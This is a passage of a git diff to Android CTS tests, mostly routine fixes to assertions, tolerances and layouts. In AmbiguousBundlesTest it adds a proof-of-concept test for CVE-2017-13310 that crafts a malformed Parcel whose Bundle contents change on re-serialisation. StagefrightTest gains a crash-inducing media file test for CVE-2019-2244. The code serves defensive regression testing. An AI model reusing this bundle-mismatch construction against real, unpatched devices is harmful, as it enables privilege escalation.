+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -32,7 +32,6 @@
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
-import android.view.autofill.AutofillManager;
 
 import org.junit.AfterClass;
 import org.junit.Before;
@@ -122,8 +121,7 @@
         // Load WebView
         final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
         // Sanity check to make sure autofill is enabled in the application context
-        assertThat(myWebView.getContext().getSystemService(AutofillManager.class).isEnabled())
-                .isTrue();
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
 
         // Set expectations.
         myWebView.expectAutofill("dude", "sweet");
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..d838fb4
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+    private static final String TAG = "CrashParserRunListener";
+
+    // Constant must be kept in sync with CrashUtils.java
+    public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+    @Override
+    public void testStarted(Description description) throws Exception {
+        Log.i(TAG, NEW_TEST_ALERT + description.toString());
+    }
+
+}
diff --git a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..fbbb684
--- /dev/null
+++ b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import android.support.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+    private static final String TAG = "CrashParserRunListener";
+
+    // Constant must be kept in sync with CrashUtils.java
+    public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+    @Override
+    public void testStarted(Description description) throws Exception {
+        Log.i(TAG, NEW_TEST_ALERT + description.toString());
+    }
+
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 386679a..5afaac0 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -143,16 +143,15 @@
     public static File createNewFilledFile(Context context, String dirName, long length)
             throws IOException {
         File file = createNewFile(context, dirName);
-        FileOutputStream out = new FileOutputStream(file);
+        final RandomAccessFile randomFile = new RandomAccessFile(file, "rwd"); // force O_SYNC
         byte[] data = generateRandomData(BUFFER_SIZE);
-        long written = 0;
-        while (written < length) {
-            int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
-            out.write(data, 0, toWrite);
-            written += toWrite;
+
+        while (file.length() < length) {
+            int toWrite = (int) Math.min(BUFFER_SIZE, length - file.length());
+            randomFile.write(data, 0, toWrite);
         }
-        out.flush();
-        out.close();
+
+        randomFile.close();
         return file;
     }
 
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index e4c5eb6..e6849f3 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -185,6 +185,7 @@
     private Date creationDateTime;
     private Integer origin;
     private boolean rollbackResistant;
+    private boolean rollbackResistance;
     private RootOfTrust rootOfTrust;
     private Integer osVersion;
     private Integer osPatchLevel;
@@ -270,6 +271,9 @@
                 case KM_TAG_ROLLBACK_RESISTANT & KEYMASTER_TAG_TYPE_MASK:
                     rollbackResistant = true;
                     break;
+                case KM_TAG_ROLLBACK_RESISTANCE & KEYMASTER_TAG_TYPE_MASK:
+                    rollbackResistance = true;
+                    break;
                 case KM_TAG_AUTH_TIMEOUT & KEYMASTER_TAG_TYPE_MASK:
                     authTimeout = Asn1Utils.getIntegerFromAsn1(value);
                     break;
@@ -535,6 +539,10 @@
         return rollbackResistant;
     }
 
+    public boolean isRollbackResistance() {
+        return rollbackResistance;
+    }
+
     public RootOfTrust getRootOfTrust() {
         return rootOfTrust;
     }
@@ -675,6 +683,10 @@
             s.append("\nRollback resistant: true");
         }
 
+        if (rollbackResistance) {
+            s.append("\nRollback resistance: true");
+        }
+
         if (rootOfTrust != null) {
             s.append("\nRoot of Trust:\n");
             s.append(rootOfTrust);
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7ac5246..8fdc701 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -83,8 +83,8 @@
         allowedDensities.add(DisplayMetrics.DENSITY_XXHIGH);
         allowedDensities.add(DisplayMetrics.DENSITY_560);
         allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
-        assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
-                + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
+        assertTrue("DisplayMetrics.DENSITY_DEVICE_STABLE must be one of the DisplayMetrics.DENSITY_* values: "
+                + allowedDensities, allowedDensities.contains(DisplayMetrics.DENSITY_DEVICE_STABLE));
 
         assertEquals(mMetrics.density,
                 (float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index c2dd5b4..17d952f 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -263,27 +263,6 @@
   };
   VK_CALL(vkCreateImage(mInit->device(), &createInfo, nullptr, &mImage));
 
-  VkImageMemoryRequirementsInfo2 memReqsInfo;
-  memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
-  memReqsInfo.pNext = nullptr;
-  memReqsInfo.image = mImage;
-
-  VkMemoryDedicatedRequirements dedicatedMemReqs;
-  dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
-  dedicatedMemReqs.pNext = nullptr;
-
-  VkMemoryRequirements2 memReqs;
-  memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
-  memReqs.pNext = &dedicatedMemReqs;
-
-  PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
-      (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
-          mInit->device(), "vkGetImageMemoryRequirements2KHR");
-  ASSERT(getImageMemoryRequirements);
-  getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
-  ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
-  ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
-
   VkImportAndroidHardwareBufferInfoANDROID androidHardwareBufferInfo{
       .sType = VK_STRUCTURE_TYPE_IMPORT_ANDROID_HARDWARE_BUFFER_INFO_ANDROID,
       .pNext = nullptr,
@@ -317,6 +296,27 @@
   ASSERT(bindImageMemory);
   VK_CALL(bindImageMemory(mInit->device(), 1, &bindImageInfo));
 
+  VkImageMemoryRequirementsInfo2 memReqsInfo;
+  memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
+  memReqsInfo.pNext = nullptr;
+  memReqsInfo.image = mImage;
+
+  VkMemoryDedicatedRequirements dedicatedMemReqs;
+  dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
+  dedicatedMemReqs.pNext = nullptr;
+
+  VkMemoryRequirements2 memReqs;
+  memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
+  memReqs.pNext = &dedicatedMemReqs;
+
+  PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
+      (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
+          mInit->device(), "vkGetImageMemoryRequirements2KHR");
+  ASSERT(getImageMemoryRequirements);
+  getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
+  ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
+  ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
+
   if (useExternalFormat /* TODO: || explicit format requires conversion */) {
     VkSamplerYcbcrConversionCreateInfo conversionCreateInfo{
         .sType = VK_STRUCTURE_TYPE_SAMPLER_YCBCR_CONVERSION_CREATE_INFO,
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 669a65a..342cba7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -22,6 +22,7 @@
 import android.graphics.Rect;
 import android.hardware.Camera;
 import android.media.AudioManager;
+import android.media.CamcorderProfile;
 import android.media.MediaDataSource;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
@@ -58,6 +59,7 @@
 import java.io.File;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.util.ArrayList;
 import java.util.List;
 import java.util.StringTokenizer;
 import java.util.UUID;
@@ -1024,7 +1026,14 @@
         // getSupportedVideoSizes returns null when separate video/preview size
         // is not supported.
         if (videoSizes == null) {
-            videoSizes = parameters.getSupportedPreviewSizes();
+            // If we have CamcorderProfile use it instead of Preview size.
+            if (CamcorderProfile.hasProfile(0, CamcorderProfile.QUALITY_LOW)) {
+                CamcorderProfile profile = CamcorderProfile.get(0, CamcorderProfile.QUALITY_LOW);
+                videoSizes = new ArrayList();
+                videoSizes.add(mCamera.new Size(profile.videoFrameWidth, profile.videoFrameHeight));
+            } else {
+                videoSizes = parameters.getSupportedPreviewSizes();
+            }
         }
         for (Camera.Size size : videoSizes)
         {
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
index 38a8403..6ef2a65 100644
--- a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
@@ -67,7 +67,7 @@
     // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
     // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
     // buffer dequeue timeout.
-    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 0.5;
+    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
     // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
     // comparing to the encoder running in a callee's thread.
     private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
diff --git a/tests/tests/net/jni/NativeDnsJni.c b/tests/tests/net/jni/NativeDnsJni.c
index 352c0c5..6d3d1c3 100644
--- a/tests/tests/net/jni/NativeDnsJni.c
+++ b/tests/tests/net/jni/NativeDnsJni.c
@@ -120,8 +120,8 @@
             gai_strerror(res));
         return JNI_FALSE;
     }
-    if (strstr(buf, "google.com") == NULL) {
-        ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com: %s",
+    if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+        ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
             GoogleDNSIpV4Address, buf);
         return JNI_FALSE;
     }
@@ -133,8 +133,9 @@
             res, gai_strerror(res));
         return JNI_FALSE;
     }
-    if (strstr(buf, "google.com") == NULL) {
-        ALOGD("getnameinfo(%s) didn't return google.com: %s", GoogleDNSIpV6Address2, buf);
+    if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+        ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
+            GoogleDNSIpV6Address2, buf);
         return JNI_FALSE;
     }
 
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 10fdd1b..79bccf7 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -61,6 +61,8 @@
                      android:label="CTS tests of android.security.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CrashParserRunListener" />
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index a146029..fd1043f 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -20,6 +20,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSecurityTestCases.apk" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
         <option name="runtime-hint" value="1h40m18s" />
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index ae5bc8e..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -23,6 +23,9 @@
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
 
 import java.io.InputStream;
@@ -35,6 +38,96 @@
 public class AmbiguousBundlesTest extends AndroidTestCase {
 
     /*
+     * b/71992105
+     */
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void test_android_CVE_2017_13310() throws Exception {
+
+        Ambiguator ambiguator = new Ambiguator() {
+
+            {
+                parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+                parcelledDataField.setAccessible(true);
+            }
+
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+                padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+                (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+
+            private String makeStringToInject(Random random) {
+                Parcel p = Parcel.obtain();
+                p.writeInt(VAL_INTARRAY);
+                p.writeInt(13);
+
+                for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+                    int paddingVal;
+                    if(1 > 3) {
+                        paddingVal = 0x420041 + (i << 17) + (i << 1);
+                    } else {
+                        paddingVal = random.nextInt();
+                    }
+                    p.writeInt(paddingVal);
+                }
+
+                p.setDataPosition(0);
+                String result = p.readString();
+                p.recycle();
+                return result;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
      * b/71508348
      */
     @SecurityTest(minPatchLevel = "2018-06")
@@ -42,8 +135,6 @@
 
         Ambiguator ambiguator = new Ambiguator() {
 
-            private final Field parcelledDataField;
-
             private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
             private final Parcelable smallerParcelable;
             private final Parcelable biggerParcelable;
@@ -412,7 +503,7 @@
         protected static final int BUNDLE_MAGIC = 0x4C444E42;
         protected static final int INNER_BUNDLE_PADDING = 1;
 
-        protected final Field parcelledDataField;
+        protected Field parcelledDataField;
 
         public Ambiguator() throws Exception {
             parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ebc489d..1badd8b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -47,8 +47,13 @@
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import com.android.compatibility.common.util.CrashUtils;
+
 import java.io.BufferedInputStream;
+import java.io.BufferedReader;
+import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.URL;
@@ -64,6 +69,10 @@
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import android.security.cts.R;
 
 
@@ -76,6 +85,7 @@
     static final String TAG = "StagefrightTest";
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
+    private final static long CHECK_INTERVAL = 50;
 
     public StagefrightTest() {
     }
@@ -85,6 +95,11 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2019-04")
+    public void testStagefright_cve_2019_2244() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+    }
+
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36725407() throws Exception {
         doStagefrightTest(R.raw.bug_36725407);
@@ -1128,10 +1143,41 @@
         return new Surface(surfaceTex);
     }
 
+    public JSONArray getCrashReport(String testname, long timeout)
+        throws InterruptedException {
+        Log.i(TAG, CrashUtils.UPLOAD_REQUEST);
+        File reportFile = new File(CrashUtils.DEVICE_PATH, testname);
+        File lockFile = new File(CrashUtils.DEVICE_PATH, CrashUtils.LOCK_FILENAME);
+        while ((!reportFile.exists() || !lockFile.exists()) && timeout > 0) {
+            Thread.sleep(CHECK_INTERVAL);
+            timeout -= CHECK_INTERVAL;
+        }
+        if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
+            return null;
+        }
+        try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
+            StringBuilder json = new StringBuilder();
+            String line = reader.readLine();
+            while (line != null) {
+                json.append(line);
+                line = reader.readLine();
+            }
+            return new JSONArray(json.toString());
+        } catch (IOException | JSONException e) {
+            Log.e(TAG, "Failed to deserialize crash list with error " + e.getMessage());
+            return null;
+        }
+    }
+
     class MediaPlayerCrashListener
-    implements MediaPlayer.OnErrorListener,
+        implements MediaPlayer.OnErrorListener,
         MediaPlayer.OnPreparedListener,
         MediaPlayer.OnCompletionListener {
+
+        private final String[] validProcessNames = {
+            "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+        };
+
         @Override
         public boolean onError(MediaPlayer mp, int newWhat, int extra) {
             Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1172,6 +1218,21 @@
                 // and see if more errors show up.
                 SystemClock.sleep(1000);
             }
+            if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
+                JSONArray crashes = getCrashReport(getName(), 5000);
+                if (crashes == null) {
+                    Log.e(TAG, "Crash results not found for test " + getName());
+                    return what;
+                } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+                    return what;
+                } else {
+                    Log.i(TAG, "Crash ignored due to no security crash found for test " +
+                        getName());
+                    // 0 is the code for no error.
+                    return 0;
+                }
+
+            }
             return what;
         }
 
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index cf882bd..9f4614c 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
             android:id="@+id/container"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
-            android:layout_margin="42dp"
+            android:layout_margin="21dp"
             android:background="#BBBBBB">
         <FrameLayout
                 android:id="@+id/subcontainer"
                 android:layout_width="wrap_content"
                 android:layout_height="wrap_content"
-                android:layout_margin="42dp"
+                android:layout_margin="21dp"
                 android:background="#666666">
             <View
                     android:id="@+id/inner"
-                    android:layout_width="42dp"
-                    android:layout_height="42dp"
-                    android:layout_margin="42dp"
+                    android:layout_width="21dp"
+                    android:layout_height="21dp"
+                    android:layout_margin="21dp"
                     android:background="#00FF00" />
         </FrameLayout>
     </FrameLayout>
     <View
             android:id="@+id/draggable"
-            android:layout_width="42dp"
-            android:layout_height="42dp"
-            android:layout_margin="42dp"
+            android:layout_width="21dp"
+            android:layout_height="21dp"
+            android:layout_margin="21dp"
             android:background="#0000FF" />
 </LinearLayout>
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index ab24972..6f14aa9 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -757,21 +757,21 @@
     private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
         // Just quickly sample a few pixels on the edge and assert
         // they are edge color, then assert that just inside the edge is a different color
-        assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 0);
-        assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+        assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+        assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 2);
 
-        assertBitmapColor("Left edge", bitmap, edgeColor, 0, bitmap.getHeight() / 2);
-        assertBitmapNotColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+        assertBitmapColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+        assertBitmapNotColor("Left edge", bitmap, edgeColor, 2, bitmap.getHeight() / 2);
 
         assertBitmapColor("Bottom edge", bitmap, edgeColor,
-                bitmap.getWidth() / 2, bitmap.getHeight() - 1);
-        assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
                 bitmap.getWidth() / 2, bitmap.getHeight() - 2);
+        assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
+                bitmap.getWidth() / 2, bitmap.getHeight() - 3);
 
         assertBitmapColor("Right edge", bitmap, edgeColor,
-                bitmap.getWidth() - 1, bitmap.getHeight() / 2);
-        assertBitmapNotColor("Right edge", bitmap, edgeColor,
                 bitmap.getWidth() - 2, bitmap.getHeight() / 2);
+        assertBitmapNotColor("Right edge", bitmap, edgeColor,
+                bitmap.getWidth() - 3, bitmap.getHeight() / 2);
     }
 
     private boolean pixelsAreSame(int ideal, int given, int threshold) {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index 054de45..07aa4fd 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -157,22 +157,23 @@
         protected void onDraw(Canvas canvas) {
             int cx = getWidth() / 2;
             int cy = getHeight() / 2;
+            final int BORDER_WIDTH = 2;
 
             canvas.drawColor(Color.YELLOW);
 
-            mRect.set(1, 1, cx, cy);
+            mRect.set(BORDER_WIDTH, BORDER_WIDTH, cx, cy);
             mPaint.setColor(Color.RED);
             canvas.drawRect(mRect, mPaint);
 
-            mRect.set(cx, 1, getWidth() - 1, cy);
+            mRect.set(cx, BORDER_WIDTH, getWidth() - BORDER_WIDTH, cy);
             mPaint.setColor(Color.GREEN);
             canvas.drawRect(mRect, mPaint);
 
-            mRect.set(1, cy, cx, getHeight() - 1);
+            mRect.set(BORDER_WIDTH, cy, cx, getHeight() - BORDER_WIDTH);
             mPaint.setColor(Color.BLUE);
             canvas.drawRect(mRect, mPaint);
 
-            mRect.set(cx, cy, getWidth() - 1, getHeight() - 1);
+            mRect.set(cx, cy, getWidth() - BORDER_WIDTH, getHeight() - BORDER_WIDTH);
             mPaint.setColor(Color.BLACK);
             canvas.drawRect(mRect, mPaint);
         }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 0bb8fb7..14dd431 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1781,8 +1781,21 @@
                     && mOnUiThread.getHeight() != 0;
             }
         }.run();
-        assertEquals(mOnUiThread.getHeight(),
-                mOnUiThread.getContentHeight() * mOnUiThread.getScale(), 2f);
+
+        final int tolerance = 2;
+        // getHeight() returns physical pixels and it is from web contents' size, getContentHeight()
+        // returns CSS pixels and it is from compositor. In order to compare these two values, we
+        // need to scale getContentHeight() by the device scale factor. This also amplifies any
+        // rounding errors. Internally, getHeight() could also have rounding error first and then
+        // times device scale factor, so we are comparing two rounded numbers below.
+        // We allow 2 * getScale() as the delta, because getHeight() and getContentHeight() may
+        // use different rounding algorithms and the results are from different computation
+        // sequences. The extreme case is that in CSS pixel we have 2 as differences (0.9999 rounded
+        // down and 1.0001 rounded up), therefore we ended with 2 * getScale().
+        assertEquals(
+                mOnUiThread.getHeight(),
+                mOnUiThread.getContentHeight() * mOnUiThread.getScale(),
+                tolerance * mOnUiThread.getScale());
 
         // Make pageHeight bigger than the larger dimension of the device, so the page is taller
         // than viewport. Because when layout_height set to match_parent, getContentHeight() will
@@ -1810,7 +1823,13 @@
         new PollingCheck() {
             @Override
             protected boolean check() {
-                return pageHeight + pageHeight + extraSpace == mOnUiThread.getContentHeight();
+                // |pageHeight| is accurate, |extraSpace| = getContentheight() - |pageHeight|, so it
+                // might have rounding error +-1, also getContentHeight() might have rounding error
+                // +-1, so we allow error 2. Note that |pageHeight|, |extraSpace| and
+                // getContentHeight() are all CSS pixels.
+                final int expectedContentHeight = pageHeight + pageHeight + extraSpace;
+                return Math.abs(expectedContentHeight - mOnUiThread.getContentHeight())
+                        <= tolerance;
             }
         }.run();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index acd0c4c..54d7c22 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -44,10 +44,6 @@
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ZoomButtonTest {
@@ -128,87 +124,62 @@
         assertFalse(mZoomButton.dispatchUnhandledMove(null, View.FOCUS_DOWN));
     }
 
-    private void verifyZoomSpeed(ZoomClickListener zoomClickListener, long zoomSpeedMs) {
-        mZoomButton.setZoomSpeed(zoomSpeedMs);
-
-        final long startTime = System.nanoTime();
-        // Emulate long click that "lasts" for ten seconds
-        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton, 10000);
-
-        final List<Long> callbackInvocations = zoomClickListener.getClickTimes();
-        assertFalse("Expecting at least one callback", callbackInvocations.isEmpty());
-
-        // Verify that the first callback is fired after the system-level long press timeout.
-        final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
